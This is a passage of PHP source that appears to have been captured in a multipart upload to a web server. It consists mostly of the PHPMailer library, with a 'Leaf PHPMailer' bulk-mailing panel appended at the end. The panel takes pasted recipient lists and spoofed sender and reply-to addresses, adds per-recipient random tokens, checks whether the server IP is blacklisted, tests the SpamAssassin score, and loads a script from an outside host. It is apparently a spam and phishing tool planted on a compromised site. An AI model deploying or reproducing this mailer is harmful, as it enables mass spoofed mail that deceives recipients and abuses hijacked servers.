{\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n $DKIMquery = 'dns\/txt'; \/\/ Query method\n $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = \"Subject: $subject\";\n $headers = explode($this->LE, $headers_line);\n $from_header = '';\n $to_header = '';\n $date_header = '';\n $current = '';\n foreach ($headers as $header) {\n if (strpos($header, 'From:') === 0) {\n $from_header = $header;\n $current = 'from_header';\n } elseif (strpos($header, 'To:') === 0) {\n $to_header = $header;\n $current = 'to_header';\n } elseif (strpos($header, 'Date:') === 0) {\n $date_header = $header;\n $current = 'date_header';\n } else {\n if (!empty($$current) && strpos($header, ' =?') === 0) {\n $$current .= $header;\n } else {\n $current = '';\n }\n }\n }\n $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n $subject = str_replace(\n '|',\n '=7C',\n $this->DKIM_QP($subject_header)\n ); \/\/ Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); \/\/ Length of body\n $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n if ('' == $this->DKIM_identity) {\n $ident = '';\n } else {\n $ident = ' i=' . $this->DKIM_identity . ';';\n }\n $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n $DKIMsignatureType . '; q=' .\n $DKIMquery . '; l=' .\n $DKIMlen . '; s=' .\n $this->DKIM_selector .\n \";\\r\\n\" .\n \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n \"\\th=From:To:Date:Subject;\\r\\n\" .\n \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n \"\\tz=$from\\r\\n\" .\n \"\\t|$to\\r\\n\" .\n \"\\t|$date\\r\\n\" .\n \"\\t|$subject;\\r\\n\" .\n \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n \"\\tb=\";\n $toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--86a3452b28eeb866caea6ce8248145e8\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--86a3452b28eeb866caea6ce8248145e8\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--86a3452b28eeb866caea6ce8248145e8\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--86a3452b28eeb866caea6ce8248145e8--\r\n"]
